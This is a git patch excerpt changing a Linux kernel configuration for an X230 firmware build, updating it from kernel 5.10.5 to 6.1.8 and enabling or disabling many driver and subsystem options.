CONFIG_KEYBOARD_OPENCORES is not set # CONFIG_KEYBOARD_SAMSUNG is not set # CONFIG_KEYBOARD_STOWAWAY is not set # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set -# CONFIG_KEYBOARD_CYPRESS_SF is not set -CONFIG_INPUT_MOUSE=y -CONFIG_MOUSE_PS2=y -# CONFIG_MOUSE_PS2_ALPS is not set -# CONFIG_MOUSE_PS2_BYD is not set -# CONFIG_MOUSE_PS2_LOGIPS2PP is not set -CONFIG_MOUSE_PS2_SYNAPTICS=y -# CONFIG_MOUSE_PS2_SYNAPTICS_SMBUS is not set -# CONFIG_MOUSE_PS2_CYPRESS is not set -# CONFIG_MOUSE_PS2_LIFEBOOK is not set -# CONFIG_MOUSE_PS2_TRACKPOINT is not set -# CONFIG_MOUSE_PS2_ELANTECH is not set -# CONFIG_MOUSE_PS2_SENTELIC is not set -# CONFIG_MOUSE_PS2_TOUCHKIT is not set -# CONFIG_MOUSE_PS2_FOCALTECH is not set -# CONFIG_MOUSE_SERIAL is not set -# CONFIG_MOUSE_APPLETOUCH is not set -# CONFIG_MOUSE_BCM5974 is not set -# CONFIG_MOUSE_CYAPA is not set -# CONFIG_MOUSE_ELAN_I2C is not set -# CONFIG_MOUSE_VSXXXAA is not set -# CONFIG_MOUSE_SYNAPTICS_I2C is not set -# CONFIG_MOUSE_SYNAPTICS_USB is not set +# CONFIG_INPUT_MOUSE is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TABLET is not set # CONFIG_INPUT_TOUCHSCREEN is not set @@ -1519,7 +1526,7 @@ CONFIG_HW_CONSOLE=y CONFIG_VT_HW_CONSOLE_BINDING=y CONFIG_UNIX98_PTYS=y # CONFIG_LEGACY_PTYS is not set -# CONFIG_LDISC_AUTOLOAD is not set +CONFIG_LDISC_AUTOLOAD=y # # Serial drivers @@ -1548,7 +1555,6 @@ CONFIG_SERIAL_CORE=y # CONFIG_SERIAL_JSM is not set # CONFIG_SERIAL_LANTIQ is not set # CONFIG_SERIAL_SCCNXP is not set -# CONFIG_SERIAL_SC16IS7XX is not set # CONFIG_SERIAL_ALTERA_JTAGUART is not set # CONFIG_SERIAL_ALTERA_UART is not set # CONFIG_SERIAL_ARC is not set @@ -1567,7 +1573,6 @@ CONFIG_TTY_PRINTK=y CONFIG_TTY_PRINTK_LEVEL=6 # CONFIG_VIRTIO_CONSOLE is not set # CONFIG_IPMI_HANDLER is not set -# CONFIG_IPMB_DEVICE_INTERFACE is not set CONFIG_HW_RANDOM=y # CONFIG_HW_RANDOM_TIMERIOMEM is not set CONFIG_HW_RANDOM_INTEL=y @@ -1586,17 +1591,11 @@ CONFIG_TCG_TPM=y # CONFIG_HW_RANDOM_TPM is not set CONFIG_TCG_TIS_CORE=y CONFIG_TCG_TIS=y -# CONFIG_TCG_TIS_I2C is not set -# CONFIG_TCG_TIS_I2C_CR50 is not set -# CONFIG_TCG_TIS_I2C_ATMEL is not set -# CONFIG_TCG_TIS_I2C_INFINEON is not set -# CONFIG_TCG_TIS_I2C_NUVOTON is not set # CONFIG_TCG_NSC is not set # CONFIG_TCG_ATMEL is not set # CONFIG_TCG_INFINEON is not set # CONFIG_TCG_CRB is not set # CONFIG_TCG_VTPM_PROXY is not set -# CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set # CONFIG_XILLYUSB is not set @@ -1607,88 +1606,7 @@ CONFIG_RANDOM_TRUST_CPU=y # # I2C support # -CONFIG_I2C=y -CONFIG_ACPI_I2C_OPREGION=y -CONFIG_I2C_BOARDINFO=y -# CONFIG_I2C_COMPAT is not set -# CONFIG_I2C_CHARDEV is not set -# CONFIG_I2C_MUX is not set -# CONFIG_I2C_HELPER_AUTO is not set -# CONFIG_I2C_SMBUS is not set - -# -# I2C Algorithms -# -CONFIG_I2C_ALGOBIT=y -# CONFIG_I2C_ALGOPCF is not set -# CONFIG_I2C_ALGOPCA is not set -# end of I2C Algorithms - -# -# I2C Hardware Bus support -# - -# -# PC SMBus host controller drivers -# -# CONFIG_I2C_ALI1535 is not set -# CONFIG_I2C_ALI1563 is not set -# CONFIG_I2C_ALI15X3 is not set -# CONFIG_I2C_AMD756 is not set -# CONFIG_I2C_AMD8111 is not set -# CONFIG_I2C_AMD_MP2 is not set -# CONFIG_I2C_I801 is not set -# CONFIG_I2C_ISCH is not set -# CONFIG_I2C_ISMT is not set -# CONFIG_I2C_PIIX4 is not set -# CONFIG_I2C_NFORCE2 is not set -# CONFIG_I2C_NVIDIA_GPU is not set -# CONFIG_I2C_SIS5595 is not set -# CONFIG_I2C_SIS630 is not set -# CONFIG_I2C_SIS96X is not set -# CONFIG_I2C_VIA is not set -# CONFIG_I2C_VIAPRO is not set - -# -# ACPI drivers -# -# CONFIG_I2C_SCMI is not set - -# -# I2C system bus drivers (mostly embedded / system-on-chip) -# -# CONFIG_I2C_DESIGNWARE_PLATFORM is not set -# CONFIG_I2C_DESIGNWARE_PCI is not set -# CONFIG_I2C_EMEV2 is not set -# CONFIG_I2C_OCORES is not set -# CONFIG_I2C_PCA_PLATFORM is not set -# CONFIG_I2C_SIMTEC is not set -# CONFIG_I2C_XILINX is not set - -# -# External I2C/SMBus adapter drivers -# -# CONFIG_I2C_DIOLAN_U2C is not set -# CONFIG_I2C_CP2615 is not set -# CONFIG_I2C_PCI1XXXX is not set -# CONFIG_I2C_ROBOTFUZZ_OSIF is not set -# CONFIG_I2C_TAOS_EVM is not set -# CONFIG_I2C_TINY_USB is not set - -# -# Other I2C/SMBus bus drivers -# -# CONFIG_I2C_MLXCPLD is not set -# CONFIG_I2C_VIRTIO is not set -# end of I2C Hardware Bus support - -# CONFIG_I2C_STUB is not set -CONFIG_I2C_SLAVE=y -# CONFIG_I2C_SLAVE_EEPROM is not set -# CONFIG_I2C_SLAVE_TESTUNIT is not set -# CONFIG_I2C_DEBUG_CORE is not set -# CONFIG_I2C_DEBUG_ALGO is not set -# CONFIG_I2C_DEBUG_BUS is not set +# CONFIG_I2C is not set # end of I2C support # CONFIG_I3C is not set @@ -1715,29 +1633,13 @@ CONFIG_PTP_1588_CLOCK_OPTIONAL=y CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set # CONFIG_PDA_POWER is not set -# CONFIG_IP5XXX_POWER is not set # CONFIG_TEST_POWER is not set -# CONFIG_CHARGER_ADP5061 is not set -# CONFIG_BATTERY_CW2015 is not set # CONFIG_BATTERY_DS2780 is not set # CONFIG_BATTERY_DS2781 is not set -# CONFIG_BATTERY_DS2782 is not set # CONFIG_BATTERY_SAMSUNG_SDI is not set -# CONFIG_BATTERY_SBS is not set -# CONFIG_CHARGER_SBS is not set # CONFIG_BATTERY_BQ27XXX is not set -# CONFIG_BATTERY_MAX17040 is not set -# CONFIG_BATTERY_MAX17042 is not set # CONFIG_CHARGER_MAX8903 is not set -# CONFIG_CHARGER_LP8727 is not set -# CONFIG_CHARGER_LTC4162L is not set -# CONFIG_CHARGER_MAX77976 is not set -# CONFIG_CHARGER_BQ2415X is not set -# CONFIG_BATTERY_GAUGE_LTC2941 is not set # CONFIG_BATTERY_GOLDFISH is not set -# CONFIG_BATTERY_RT5033 is not set -# CONFIG_CHARGER_BD99954 is not set -# CONFIG_BATTERY_UG3105 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y # CONFIG_THERMAL_NETLINK is not set @@ -1782,81 +1684,25 @@ CONFIG_BCMA_POSSIBLE=y # # Multifunction device drivers # -# CONFIG_MFD_AS3711 is not set -# CONFIG_PMIC_ADP5520 is not set -# CONFIG_MFD_BCM590XX is not set -# CONFIG_MFD_BD9571MWV is not set -# CONFIG_MFD_AXP20X_I2C is not set # CONFIG_MFD_MADERA is not set -# CONFIG_PMIC_DA903X is not set -# CONFIG_MFD_DA9052_I2C is not set -# CONFIG_MFD_DA9055 is not set -# CONFIG_MFD_DA9062 is not set -# CONFIG_MFD_DA9063 is not set -# CONFIG_MFD_DA9150 is not set # CONFIG_MFD_DLN2 is not set -# CONFIG_MFD_MC13XXX_I2C is not set -# CONFIG_MFD_MP2629 is not set # CONFIG_HTC_PASIC3 is not set # CONFIG_MFD_INTEL_QUARK_I2C_GPIO is not set # CONFIG_LPC_ICH is not set # CONFIG_LPC_SCH is not set # CONFIG_MFD_INTEL_LPSS_ACPI is not set # CONFIG_MFD_INTEL_LPSS_PCI is not set -# CONFIG_MFD_IQS62X is not set +# CONFIG_MFD_INTEL_PMC_BXT is not set # CONFIG_MFD_JANZ_CMODIO is not set # CONFIG_MFD_KEMPLD is not set -# CONFIG_MFD_88PM800 is not set -# CONFIG_MFD_88PM805 is not set -# CONFIG_MFD_88PM860X is not set -# CONFIG_MFD_MAX14577 is not set -# CONFIG_MFD_MAX77693 is not set -# CONFIG_MFD_MAX77843 is not set -# CONFIG_MFD_MAX8907 is not set -# CONFIG_MFD_MAX8925 is not set -# CONFIG_MFD_MAX8997 is not set -# CONFIG_MFD_MAX8998 is not set -# CONFIG_MFD_MT6360 is not set -# CONFIG_MFD_MT6370 is not set # CONFIG_MFD_MT6397 is not set -# CONFIG_MFD_MENF21BMC is not set # CONFIG_MFD_VIPERBOARD is not set -# CONFIG_MFD_RETU is not set -# CONFIG_MFD_PCF50633 is not set -# CONFIG_MFD_SY7636A is not set # CONFIG_MFD_RDC321X is not set -# CONFIG_MFD_RT4831 is not set -# CONFIG_MFD_RT5033 is not set -# CONFIG_MFD_RT5120 is not set -# CONFIG_MFD_RC5T583 is not set -# CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set -# CONFIG_MFD_SKY81452 is not set CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_AM335X_TSCADC is not set -# CONFIG_MFD_LP3943 is not set -# CONFIG_MFD_LP8788 is not set -# CONFIG_MFD_TI_LMU is not set -# CONFIG_MFD_PALMAS is not set -# CONFIG_TPS6105X is not set -# CONFIG_TPS6507X is not set -# CONFIG_MFD_TPS65086 is not set -# CONFIG_MFD_TPS65090 is not set -# CONFIG_MFD_TI_LP873X is not set -# CONFIG_MFD_TPS6586X is not set -# CONFIG_MFD_TPS65912_I2C is not set -# CONFIG_TWL4030_CORE is not set -# CONFIG_TWL6040_CORE is not set -# CONFIG_MFD_WL1273_CORE is not set -# CONFIG_MFD_LM3533 is not set # CONFIG_MFD_TQMX86 is not set # CONFIG_MFD_VX855 is not set -# CONFIG_MFD_ARIZONA_I2C is not set -# CONFIG_MFD_WM8400 is not set -# CONFIG_MFD_WM831X_I2C is not set -# CONFIG_MFD_WM8350_I2C is not set -# CONFIG_MFD_WM8994 is not set -# CONFIG_MFD_ATC260X_I2C is not set # end of Multifunction device drivers # CONFIG_REGULATOR is not set @@ -1954,12 +1800,6 @@ CONFIG_BACKLIGHT_CLASS_DEVICE=y # CONFIG_BACKLIGHT_APPLE is not set # CONFIG_BACKLIGHT_QCOM_WLED is not set # CONFIG_BACKLIGHT_SAHARA is not set -# CONFIG_BACKLIGHT_ADP8860 is not set -# CONFIG_BACKLIGHT_ADP8870 is not set -# CONFIG_BACKLIGHT_LM3639 is not set -# CONFIG_BACKLIGHT_LV5207LP is not set -# CONFIG_BACKLIGHT_BD6107 is not set -# CONFIG_BACKLIGHT_ARCXCNN is not set # end of Backlight & LCD device support # @@ -1970,7 +1810,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y -# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set +CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION=y CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -2093,12 +1933,6 @@ CONFIG_USB_HID=m # end of USB HID Boot Protocol drivers # end of USB HID support -# -# I2C HID support -# -# CONFIG_I2C_HID_ACPI is not set -# end of I2C HID support - # # Intel ISH HID support # @@ -2150,9 +1984,7 @@ CONFIG_USB_EHCI_HCD_PLATFORM=m # CONFIG_USB_OXU210HP_HCD is not set # CONFIG_USB_ISP116X_HCD is not set # CONFIG_USB_FOTG210_HCD is not set -CONFIG_USB_OHCI_HCD=m -CONFIG_USB_OHCI_HCD_PCI=m -# CONFIG_USB_OHCI_HCD_PLATFORM is not set +# CONFIG_USB_OHCI_HCD is not set # CONFIG_USB_UHCI_HCD is not set # CONFIG_USB_SL811_HCD is not set # CONFIG_USB_R8A66597_HCD is not set @@ -2232,9 +2064,6 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_ISIGHTFW is not set # CONFIG_USB_YUREX is not set # CONFIG_USB_EZUSB_FX2 is not set -# CONFIG_USB_HUB_USB251XB is not set -# CONFIG_USB_HSIC_USB3503 is not set -# CONFIG_USB_HSIC_USB4604 is not set # CONFIG_USB_LINK_LAYER_TEST is not set # CONFIG_USB_CHAOSKEY is not set @@ -2242,37 +2071,12 @@ CONFIG_USB_STORAGE=m # USB Physical Layer drivers # # CONFIG_NOP_USB_XCEIV is not set -# CONFIG_USB_ISP1301 is not set # end of USB Physical Layer drivers # CONFIG_USB_GADGET is not set # CONFIG_TYPEC is not set # CONFIG_USB_ROLE_SWITCH is not set -CONFIG_MMC=m -CONFIG_MMC_BLOCK=m -CONFIG_MMC_BLOCK_MINORS=8 -# CONFIG_SDIO_UART is not set -# CONFIG_MMC_TEST is not set - -# -# MMC/SD/SDIO Host Controller Drivers -# -# CONFIG_MMC_DEBUG is not set -CONFIG_MMC_SDHCI=m -# CONFIG_MMC_SDHCI_PCI is not set -# CONFIG_MMC_SDHCI_ACPI is not set -# CONFIG_MMC_SDHCI_PLTFM is not set -# CONFIG_MMC_WBSD is not set -# CONFIG_MMC_TIFM_SD is not set -# CONFIG_MMC_CB710 is not set -# CONFIG_MMC_VIA_SDMMC is not set -# CONFIG_MMC_VUB300 is not set -# CONFIG_MMC_USHC is not set -# CONFIG_MMC_USDHI6ROL0 is not set -CONFIG_MMC_CQHCI=m -# CONFIG_MMC_HSQ is not set -# CONFIG_MMC_TOSHIBA_PCI is not set -# CONFIG_MMC_MTK is not set +# CONFIG_MMC is not set # CONFIG_SCSI_UFSHCD is not set # CONFIG_MEMSTICK is not set # CONFIG_NEW_LEDS is not set @@ -2302,47 +2106,14 @@ CONFIG_RTC_INTF_DEV=y # # I2C RTC drivers # -# CONFIG_RTC_DRV_ABB5ZES3 is not set -# CONFIG_RTC_DRV_ABEOZ9 is not set -# CONFIG_RTC_DRV_ABX80X is not set -# CONFIG_RTC_DRV_DS1307 is not set -# CONFIG_RTC_DRV_DS1374 is not set -# CONFIG_RTC_DRV_DS1672 is not set -# CONFIG_RTC_DRV_MAX6900 is not set -# CONFIG_RTC_DRV_RS5C372 is not set -# CONFIG_RTC_DRV_ISL1208 is not set -# CONFIG_RTC_DRV_ISL12022 is not set -# CONFIG_RTC_DRV_X1205 is not set -# CONFIG_RTC_DRV_PCF8523 is not set -# CONFIG_RTC_DRV_PCF85063 is not set -# CONFIG_RTC_DRV_PCF85363 is not set -# CONFIG_RTC_DRV_PCF8563 is not set -# CONFIG_RTC_DRV_PCF8583 is not set -# CONFIG_RTC_DRV_M41T80 is not set -# CONFIG_RTC_DRV_BQ32K is not set -# CONFIG_RTC_DRV_S35390A is not set -# CONFIG_RTC_DRV_FM3130 is not set -# CONFIG_RTC_DRV_RX8010 is not set -# CONFIG_RTC_DRV_RX8581 is not set -# CONFIG_RTC_DRV_RX8025 is not set -# CONFIG_RTC_DRV_EM3027 is not set -# CONFIG_RTC_DRV_RV3028 is not set -# CONFIG_RTC_DRV_RV3032 is not set -# CONFIG_RTC_DRV_RV8803 is not set -# CONFIG_RTC_DRV_SD3078 is not set # # SPI RTC drivers # -CONFIG_RTC_I2C_AND_SPI=y # # SPI and I2C RTC drivers # -# CONFIG_RTC_DRV_DS3232 is not set -# CONFIG_RTC_DRV_PCF2127 is not set -# CONFIG_RTC_DRV_RV3029C2 is not set -# CONFIG_RTC_DRV_RX6110 is not set # # Platform RTC drivers @@ -2404,20 +2175,62 @@ CONFIG_SYNC_FILE=y # CONFIG_CHROME_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set CONFIG_SURFACE_PLATFORMS=y -# CONFIG_SURFACE_3_POWER_OPREGION is not set # CONFIG_SURFACE_GPE is not set # CONFIG_SURFACE_PRO3_BUTTON is not set -# CONFIG_X86_PLATFORM_DEVICES is not set +CONFIG_X86_PLATFORM_DEVICES=y +# CONFIG_ACPI_WMI is not set +# CONFIG_ACERHDF is not set +# CONFIG_ACER_WIRELESS is not set +# CONFIG_AMD_PMF is not set +# CONFIG_AMD_PMC is not set +# CONFIG_ADV_SWBUTTON is not set +# CONFIG_APPLE_GMUX is not set +# CONFIG_ASUS_LAPTOP is not set +# CONFIG_ASUS_WIRELESS is not set +# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set +# CONFIG_FUJITSU_LAPTOP is not set +# CONFIG_FUJITSU_TABLET is not set +# CONFIG_GPD_POCKET_FAN is not set +# CONFIG_HP_ACCEL is not set +# CONFIG_WIRELESS_HOTKEY is not set +# CONFIG_IBM_RTL is not set +# CONFIG_SENSORS_HDAPS is not set +# CONFIG_INTEL_SAR_INT1092 is not set +# CONFIG_INTEL_PMC_CORE is not set + +# +# Intel Speed Select Technology interface support +# +# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set +# end of Intel Speed Select Technology interface support + +# +# Intel Uncore Frequency Control +# +# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set +# end of Intel Uncore Frequency Control + +# CONFIG_INTEL_PUNIT_IPC is not set +# CONFIG_INTEL_RST is not set +# CONFIG_INTEL_SMARTCONNECT is not set +# CONFIG_INTEL_TURBO_MAX_3 is not set +# CONFIG_INTEL_VSEC is not set +# CONFIG_SAMSUNG_LAPTOP is not set +# CONFIG_SAMSUNG_Q10 is not set +# CONFIG_TOSHIBA_BT_RFKILL is not set +# CONFIG_TOSHIBA_HAPS is not set +# CONFIG_ACPI_CMPC is not set +# CONFIG_PANASONIC_LAPTOP is not set +# CONFIG_TOPSTAR_LAPTOP is not set +# CONFIG_INTEL_IPS is not set +# CONFIG_INTEL_SCU_PCI is not set +# CONFIG_INTEL_SCU_PLATFORM is not set +# CONFIG_SIEMENS_SIMATIC_IPC is not set +# CONFIG_WINMATE_FM07_KEYS is not set # CONFIG_P2SB is not set CONFIG_HAVE_CLK=y CONFIG_HAVE_CLK_PREPARE=y CONFIG_COMMON_CLK=y -# CONFIG_COMMON_CLK_MAX9485 is not set -# CONFIG_COMMON_CLK_SI5341 is not set -# CONFIG_COMMON_CLK_SI5351 is not set -# CONFIG_COMMON_CLK_SI544 is not set -# CONFIG_COMMON_CLK_CDCE706 is not set -# CONFIG_COMMON_CLK_CS2000_CP is not set # CONFIG_XILINX_VCU is not set # CONFIG_HWSPINLOCK is not set @@ -2573,7 +2386,7 @@ CONFIG_LIBNVDIMM=y # CONFIG_BTT is not set # CONFIG_DAX is not set CONFIG_NVMEM=y -# CONFIG_NVMEM_SYSFS is not set +CONFIG_NVMEM_SYSFS=y # CONFIG_NVMEM_RMEM is not set # @@ -2674,7 +2487,7 @@ CONFIG_SYSFS=y CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set -CONFIG_EFIVAR_FS=m +# CONFIG_EFIVAR_FS is not set # end of Pseudo filesystems # CONFIG_MISC_FILESYSTEMS is not set @@ -2743,8 +2556,8 @@ CONFIG_IO_WQ=y # # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set -# CONFIG_SECURITYFS is not set -CONFIG_INTEL_TXT=y +CONFIG_SECURITYFS=y +# CONFIG_INTEL_TXT is not set CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y # CONFIG_FORTIFY_SOURCE is not set @@ -2821,7 +2634,7 @@ CONFIG_CRYPTO_SIMD=y # # Block ciphers # -CONFIG_CRYPTO_AES=y +# CONFIG_CRYPTO_AES is not set # CONFIG_CRYPTO_AES_TI is not set # CONFIG_CRYPTO_ARIA is not set # CONFIG_CRYPTO_BLOWFISH is not set @@ -3205,7 +3018,6 @@ CONFIG_WQ_WATCHDOG=y # end of Scheduler Debugging # CONFIG_DEBUG_TIMEKEEPING is not set -CONFIG_DEBUG_PREEMPT=y # # Lock Debugging (spinlocks, mutexes, etc...) @@ -3294,8 +3106,8 @@ CONFIG_EARLY_PRINTK=y # CONFIG_DEBUG_TLBFLUSH is not set CONFIG_HAVE_MMIOTRACE_SUPPORT=y # CONFIG_X86_DECODER_SELFTEST is not set -CONFIG_IO_DELAY_0X80=y -# CONFIG_IO_DELAY_0XED is not set +# CONFIG_IO_DELAY_0X80 is not set +CONFIG_IO_DELAY_0XED=y # CONFIG_IO_DELAY_UDELAY is not set # CONFIG_IO_DELAY_NONE is not set # CONFIG_CPA_DEBUG is not set Signed-off-by: Thierry Laurion --- config/linux-x230-maximized.config | 751 +++++++++++++++++++---------- 1 file changed, 488 insertions(+), 263 deletions(-) diff --git a/config/linux-x230-maximized.config b/config/linux-x230-maximized.config index 2ebbc1781..6a61e1808 100644 --- a/config/linux-x230-maximized.config +++ b/config/linux-x230-maximized.config @@ -1,17 +1,21 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 6.1.8 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 -CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 +CONFIG_LD_IS_BFD=y +CONFIG_LD_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y -CONFIG_CC_HAS_ASM_GOTO=y CONFIG_CC_HAS_ASM_INLINE=y +CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y +CONFIG_PAHOLE_VERSION=0 CONFIG_IRQ_WORK=y CONFIG_BUILDTIME_TABLE_SORT=y CONFIG_THREAD_INFO_IN_TASK=y @@ -21,6 +25,7 @@ CONFIG_THREAD_INFO_IN_TASK=y # CONFIG_INIT_ENV_ARG_LIMIT=32 # CONFIG_COMPILE_TEST is not set +# CONFIG_WERROR is not set CONFIG_LOCALVERSION="-@BRAND_NAME@" # CONFIG_LOCALVERSION_AUTO is not set CONFIG_BUILD_SALT="" @@ -40,7 +45,6 @@ CONFIG_KERNEL_XZ=y # CONFIG_KERNEL_ZSTD is not set CONFIG_DEFAULT_INIT="" CONFIG_DEFAULT_HOSTNAME="(none)" -# CONFIG_SWAP is not set # CONFIG_SYSVIPC is not set # CONFIG_POSIX_MQUEUE is not set # CONFIG_WATCH_QUEUE is not set @@ -62,6 +66,7 @@ CONFIG_IRQ_DOMAIN=y CONFIG_IRQ_DOMAIN_HIERARCHY=y CONFIG_GENERIC_MSI_IRQ=y CONFIG_GENERIC_MSI_IRQ_DOMAIN=y +CONFIG_IRQ_MSI_IOMMU=y CONFIG_GENERIC_IRQ_MATRIX_ALLOCATOR=y CONFIG_GENERIC_IRQ_RESERVATION_MODE=y CONFIG_IRQ_FORCED_THREADING=y @@ -78,6 +83,8 @@ CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y CONFIG_GENERIC_CMOS_UPDATE=y CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y +CONFIG_CONTEXT_TRACKING=y +CONFIG_CONTEXT_TRACKING_IDLE=y # # Timers subsystem @@ -89,11 +96,28 @@ CONFIG_NO_HZ_IDLE=y # CONFIG_NO_HZ_FULL is not set # CONFIG_NO_HZ is not set # CONFIG_HIGH_RES_TIMERS is not set +CONFIG_CLOCKSOURCE_WATCHDOG_MAX_SKEW_US=100 # end of Timers subsystem +CONFIG_BPF=y +CONFIG_HAVE_EBPF_JIT=y +CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y + +# +# BPF subsystem +# +# CONFIG_BPF_SYSCALL is not set +# CONFIG_BPF_JIT is not set +# end of BPF subsystem + +CONFIG_PREEMPT_BUILD=y CONFIG_PREEMPT_NONE=y # CONFIG_PREEMPT_VOLUNTARY is not set # CONFIG_PREEMPT is not set +CONFIG_PREEMPT_COUNT=y +CONFIG_PREEMPTION=y +CONFIG_PREEMPT_DYNAMIC=y +# CONFIG_SCHED_CORE is not set # # CPU/Task time and stats accounting @@ -110,6 +134,7 @@ CONFIG_TICK_CPU_ACCOUNTING=y # RCU Subsystem # CONFIG_TREE_RCU=y +CONFIG_PREEMPT_RCU=y # CONFIG_RCU_EXPERT is not set CONFIG_SRCU=y CONFIG_TREE_SRCU=y @@ -117,7 +142,6 @@ CONFIG_RCU_STALL_COMMON=y CONFIG_RCU_NEED_SEGCBLIST=y # end of RCU Subsystem -CONFIG_BUILD_BIN2C=y # CONFIG_IKCONFIG is not set # CONFIG_IKHEADERS is not set CONFIG_LOG_BUF_SHIFT=18 @@ -134,6 +158,9 @@ CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y CONFIG_CC_HAS_INT128=y +CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5" +CONFIG_GCC11_NO_ARRAY_BOUNDS=y +CONFIG_GCC12_NO_ARRAY_BOUNDS=y CONFIG_ARCH_SUPPORTS_INT128=y # CONFIG_CGROUPS is not set # CONFIG_CHECKPOINT_RESTORE is not set @@ -154,13 +181,13 @@ CONFIG_RD_XZ=y CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_INITRAMFS_COMPRESSION_NONE is not set # CONFIG_BOOT_CONFIG is not set +CONFIG_INITRAMFS_PRESERVE_MTIME=y # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y -CONFIG_BPF=y CONFIG_EXPERT=y # CONFIG_MULTIUSER is not set # CONFIG_SGETMASK_SYSCALL is not set @@ -168,7 +195,6 @@ CONFIG_EXPERT=y # CONFIG_FHANDLE is not set CONFIG_POSIX_TIMERS=y CONFIG_PRINTK=y -CONFIG_PRINTK_NMI=y CONFIG_BUG=y CONFIG_PCSPKR_PLATFORM=y # CONFIG_BASE_FULL is not set @@ -184,10 +210,8 @@ CONFIG_IO_URING=y # CONFIG_ADVISE_SYSCALLS is not set CONFIG_MEMBARRIER=y # CONFIG_KALLSYMS is not set -# CONFIG_BPF_SYSCALL is not set -CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y -# CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +# CONFIG_KCMP is not set # CONFIG_RSEQ is not set CONFIG_EMBEDDED=y CONFIG_HAVE_PERF_EVENTS=y @@ -200,17 +224,6 @@ CONFIG_PERF_EVENTS=y # CONFIG_DEBUG_PERF_USE_VMALLOC is not set # end of Kernel Performance Events And Counters -# CONFIG_VM_EVENT_COUNTERS is not set -# CONFIG_SLUB_DEBUG is not set -# CONFIG_COMPAT_BRK is not set -# CONFIG_SLAB is not set -CONFIG_SLUB=y -# CONFIG_SLOB is not set -CONFIG_SLAB_MERGE_DEFAULT=y -# CONFIG_SLAB_FREELIST_RANDOM is not set -# CONFIG_SLAB_FREELIST_HARDENED is not set -# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set -CONFIG_SLUB_CPU_PARTIAL=y # CONFIG_PROFILING is not set # end of General setup @@ -232,17 +245,10 @@ CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y CONFIG_ARCH_MAY_HAVE_PC_FDC=y CONFIG_GENERIC_CALIBRATE_DELAY=y CONFIG_ARCH_HAS_CPU_RELAX=y -CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y -CONFIG_ARCH_HAS_FILTER_PGPROT=y -CONFIG_HAVE_SETUP_PER_CPU_AREA=y -CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y -CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y CONFIG_ARCH_HIBERNATION_POSSIBLE=y +CONFIG_ARCH_NR_GPIO=1024 CONFIG_ARCH_SUSPEND_POSSIBLE=y -CONFIG_ARCH_WANT_GENERAL_HUGETLB=y -CONFIG_ZONE_DMA32=y CONFIG_AUDIT_ARCH=y -CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y CONFIG_HAVE_INTEL_TXT=y CONFIG_X86_64_SMP=y CONFIG_ARCH_SUPPORTS_UPROBES=y @@ -253,12 +259,10 @@ CONFIG_CC_HAS_SANE_STACKPROTECTOR=y # # Processor type and features # -# CONFIG_ZONE_DMA is not set CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -CONFIG_RETPOLINE=y # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # 